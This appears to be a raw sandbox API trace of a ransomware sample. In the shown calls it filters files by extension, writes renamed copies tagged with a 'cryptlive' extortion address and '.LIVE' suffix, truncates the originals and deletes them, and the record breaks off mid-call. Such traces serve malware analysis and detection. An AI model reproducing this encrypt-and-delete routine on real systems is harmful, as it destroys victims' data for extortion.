lstrlenW (lpString=".pdf") returned 4 [0051.262] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.262] lstrlenW (lpString=".xls") returned 4 [0051.262] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.262] lstrlenW (lpString=".xlsx") returned 5 [0051.262] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.262] lstrlenW (lpString=".ppt") returned 4 [0051.262] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.262] lstrlenW (lpString=".zip") returned 4 [0051.262] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.262] lstrlenW (lpString=".rar") returned 4 [0051.262] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.262] lstrlenW (lpString=".bz2") returned 4 [0051.262] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.262] lstrlenW (lpString=".7z") returned 3 [0051.262] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.262] lstrlenW (lpString=".dbf") returned 4 [0051.262] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.262] lstrlenW (lpString=".1cd") returned 4 [0051.262] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0051.262] lstrlenW (lpString=".jpg") returned 4 [0051.262] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.263] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.263] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.263] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1364) returned 1 [0051.263] CloseHandle (hObject=0x214) returned 1 [0051.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0051.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.263] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.263] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.280] GetLastError () returned 0x0 [0051.280] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x554, lpOverlapped=0x0) returned 1 [0051.282] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x560, lpOverlapped=0x0) returned 1 [0051.283] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.283] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.283] SetEndOfFile (hFile=0x1f8) returned 1 [0051.283] CloseHandle (hObject=0x1f8) returned 1 [0051.283] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.283] SetEndOfFile (hFile=0x214) returned 1 [0051.284] CloseHandle (hObject=0x214) returned 1 [0051.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.284] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.285] lstrlenW (lpString=".doc") returned 4 [0051.285] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.285] lstrlenW (lpString=".docx") returned 5 [0051.285] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.285] lstrlenW (lpString=".pdf") returned 4 [0051.285] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.285] lstrlenW (lpString=".xls") returned 4 [0051.285] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.285] lstrlenW (lpString=".xlsx") returned 5 [0051.285] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.285] lstrlenW (lpString=".ppt") returned 4 [0051.285] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.285] lstrlenW (lpString=".zip") returned 4 [0051.285] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.285] lstrlenW (lpString=".rar") returned 4 [0051.285] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.285] lstrlenW (lpString=".bz2") returned 4 [0051.285] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.285] lstrlenW (lpString=".7z") returned 3 [0051.285] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.285] lstrlenW (lpString=".dbf") returned 4 [0051.285] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.285] lstrlenW (lpString=".1cd") returned 4 [0051.285] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.285] lstrlenW (lpString=".jpg") returned 4 [0051.285] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.286] lstrlenW (lpString=".doc") returned 4 [0051.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.286] lstrlenW (lpString=".docx") returned 5 [0051.286] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.286] lstrlenW (lpString=".pdf") returned 4 [0051.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString=".xls") returned 4 [0051.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString=".xlsx") returned 5 [0051.286] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.286] lstrlenW (lpString=".ppt") returned 4 [0051.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.286] lstrlenW (lpString=".zip") returned 4 [0051.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString=".rar") returned 4 [0051.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.286] lstrlenW (lpString=".bz2") returned 4 [0051.286] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.286] lstrlenW (lpString=".7z") returned 3 [0051.286] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.286] lstrlenW (lpString=".dbf") returned 4 [0051.286] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.286] lstrlenW (lpString=".1cd") returned 4 [0051.286] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0051.286] lstrlenW (lpString=".jpg") returned 4 [0051.286] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.287] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.287] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.287] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=11573) returned 1 [0051.287] CloseHandle (hObject=0x214) returned 1 [0051.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0051.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.287] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.287] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.288] GetLastError () returned 0x0 [0051.288] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0051.289] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0051.290] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.290] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.290] SetEndOfFile (hFile=0x1f8) returned 1 [0051.291] CloseHandle (hObject=0x1f8) returned 1 [0051.291] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.291] SetEndOfFile (hFile=0x214) returned 1 [0051.292] CloseHandle (hObject=0x214) returned 1 [0051.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.292] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0051.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.292] lstrlenW (lpString=".doc") returned 4 [0051.292] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.292] lstrlenW (lpString=".docx") returned 5 [0051.292] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.292] lstrlenW (lpString=".pdf") returned 4 [0051.292] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.292] lstrlenW (lpString=".xls") returned 4 [0051.292] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.292] lstrlenW (lpString=".xlsx") returned 5 [0051.292] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.292] lstrlenW (lpString=".ppt") returned 4 [0051.292] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.293] lstrlenW (lpString=".zip") returned 4 [0051.293] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.293] lstrlenW (lpString=".rar") returned 4 [0051.293] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.293] lstrlenW (lpString=".bz2") returned 4 [0051.293] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.293] lstrlenW (lpString=".7z") returned 3 [0051.293] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.293] lstrlenW (lpString=".dbf") returned 4 [0051.293] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.293] lstrlenW (lpString=".1cd") returned 4 [0051.293] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.293] lstrlenW (lpString=".jpg") returned 4 [0051.293] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.293] lstrlenW (lpString=".doc") returned 4 [0051.293] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.293] lstrlenW (lpString=".docx") returned 5 [0051.293] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.293] lstrlenW (lpString=".pdf") returned 4 [0051.293] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.293] lstrlenW (lpString=".xls") returned 4 [0051.293] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.293] lstrlenW (lpString=".xlsx") returned 5 [0051.293] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.293] lstrlenW (lpString=".ppt") returned 4 [0051.293] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.294] lstrlenW (lpString=".zip") returned 4 [0051.294] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.294] lstrlenW (lpString=".rar") returned 4 [0051.294] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.294] lstrlenW (lpString=".bz2") returned 4 [0051.294] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.294] lstrlenW (lpString=".7z") returned 3 [0051.294] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.294] lstrlenW (lpString=".dbf") returned 4 [0051.294] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.294] lstrlenW (lpString=".1cd") returned 4 [0051.294] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0051.294] lstrlenW (lpString=".jpg") returned 4 [0051.294] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.294] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.294] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.295] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2574) returned 1 [0051.295] CloseHandle (hObject=0x214) returned 1 [0051.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0051.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.295] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.295] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.297] GetLastError () returned 0x0 [0051.297] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0xa0e, lpOverlapped=0x0) returned 1 [0051.298] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xa10, lpOverlapped=0x0) returned 1 [0051.299] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.299] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.299] SetEndOfFile (hFile=0x1f8) returned 1 [0051.300] CloseHandle (hObject=0x1f8) returned 1 [0051.300] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.300] SetEndOfFile (hFile=0x214) returned 1 [0051.300] CloseHandle (hObject=0x214) returned 1 [0051.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.301] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0051.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.301] lstrlenW (lpString=".doc") returned 4 [0051.301] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.301] lstrlenW (lpString=".docx") returned 5 [0051.301] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.301] lstrlenW (lpString=".pdf") returned 4 [0051.301] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.301] lstrlenW (lpString=".xls") returned 4 [0051.301] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.301] lstrlenW (lpString=".xlsx") returned 5 [0051.301] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.301] lstrlenW (lpString=".ppt") returned 4 [0051.301] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.301] lstrlenW (lpString=".zip") returned 4 [0051.301] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.301] lstrlenW (lpString=".rar") returned 4 [0051.301] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.302] lstrlenW (lpString=".bz2") returned 4 [0051.302] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.302] lstrlenW (lpString=".7z") returned 3 [0051.302] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.302] lstrlenW (lpString=".dbf") returned 4 [0051.302] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.302] lstrlenW (lpString=".1cd") returned 4 [0051.302] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.302] lstrlenW (lpString=".jpg") returned 4 [0051.302] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.302] lstrlenW (lpString=".doc") returned 4 [0051.302] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.302] lstrlenW (lpString=".docx") returned 5 [0051.302] lstrcmpiW 